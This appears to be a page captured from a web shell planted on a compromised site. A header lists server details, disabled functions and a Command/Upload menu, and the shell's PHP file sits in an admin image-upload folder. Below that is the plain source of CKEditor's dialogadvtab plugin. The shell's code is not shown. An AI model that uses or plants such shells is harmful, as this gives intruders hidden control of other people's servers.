|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/ckeditor4.10.1/plugins/dialogadvtab/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
/**
* @license Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
( function() {
function setupAdvParams( element ) {
var attrName = this.att;
var value = element && element.hasAttribute( attrName ) && element.getAttribute( attrName ) || '';
if ( value !== undefined )
this.setValue( value );
}
function commitAdvParams() {
// Dialogs may use different parameters in the commit list, so, by
// definition, we take the first CKEDITOR.dom.element available.
var element;
for ( var i = 0; i < arguments.length; i++ ) {
if ( arguments[ i ] instanceof CKEDITOR.dom.element ) {
element = arguments[ i ];
break;
}
}
if ( element ) {
var attrName = this.att,
value = this.getValue();
if ( value )
element.setAttribute( attrName, value );
else
element.removeAttribute( attrName, value );
}
}
var defaultTabConfig = { id: 1, dir: 1, classes: 1, styles: 1 };
CKEDITOR.plugins.add( 'dialogadvtab', {
requires: 'dialog',
// Returns allowed content rule for the content created by this plugin.
allowedContent: function( tabConfig ) {
if ( !tabConfig )
tabConfig = defaultTabConfig;
var allowedAttrs = [];
if ( tabConfig.id )
allowedAttrs.push( 'id' );
if ( tabConfig.dir )
allowedAttrs.push( 'dir' );
var allowed = '';
if ( allowedAttrs.length )
allowed += '[' + allowedAttrs.join( ',' ) + ']';
if ( tabConfig.classes )
allowed += '(*)';
if ( tabConfig.styles )
allowed += '{*}';
return allowed;
},
// @param tabConfig
// id, dir, classes, styles
createAdvancedTab: function( editor, tabConfig, element ) {
if ( !tabConfig )
tabConfig = defaultTabConfig;
var lang = editor.lang.common;
var result = {
id: 'advanced',
label: lang.advancedTab,
title: lang.advancedTab,
elements: [ {
type: 'vbox',
padding: 1,
children: []
} ]
};
var contents = [];
if ( tabConfig.id || tabConfig.dir ) {
if ( tabConfig.id ) {
contents.push( {
id: 'advId',
att: 'id',
type: 'text',
requiredContent: element ? element + '[id]' : null,
label: lang.id,
setup: setupAdvParams,
commit: commitAdvParams
} );
}
if ( tabConfig.dir ) {
contents.push( {
id: 'advLangDir',
att: 'dir',
type: 'select',
requiredContent: element ? element + '[dir]' : null,
label: lang.langDir,
'default': '',
style: 'width:100%',
items: [
[ lang.notSet, '' ],
[ lang.langDirLTR, 'ltr' ],
[ lang.langDirRTL, 'rtl' ]
],
setup: setupAdvParams,
commit: commitAdvParams
} );
}
result.elements[ 0 ].children.push( {
type: 'hbox',
widths: [ '50%', '50%' ],
children: [].concat( contents )
} );
}
if ( tabConfig.styles || tabConfig.classes ) {
contents = [];
if ( tabConfig.styles ) {
contents.push( {
id: 'advStyles',
att: 'style',
type: 'text',
requiredContent: element ? element + '{cke-xyz}' : null,
label: lang.styles,
'default': '',
validate: CKEDITOR.dialog.validate.inlineStyle( lang.invalidInlineStyle ),
onChange: function() {},
getStyle: function( name, defaultValue ) {
var match = this.getValue().match( new RegExp( '(?:^|;)\\s*' + name + '\\s*:\\s*([^;]*)', 'i' ) );
return match ? match[ 1 ] : defaultValue;
},
updateStyle: function( name, value ) {
var styles = this.getValue();
var tmp = editor.document.createElement( 'span' );
tmp.setAttribute( 'style', styles );
tmp.setStyle( name, value );
styles = CKEDITOR.tools.normalizeCssText( tmp.getAttribute( 'style' ) );
this.setValue( styles, 1 );
},
setup: setupAdvParams,
commit: commitAdvParams
} );
}
if ( tabConfig.classes ) {
contents.push( {
type: 'hbox',
widths: [ '45%', '55%' ],
children: [ {
id: 'advCSSClasses',
att: 'class',
type: 'text',
requiredContent: element ? element + '(cke-xyz)' : null,
label: lang.cssClasses,
'default': '',
setup: setupAdvParams,
commit: commitAdvParams
} ]
} );
}
result.elements[ 0 ].children.push( {
type: 'hbox',
widths: [ '50%', '50%' ],
children: [].concat( contents )
} );
}
return result;
}
} );
} )();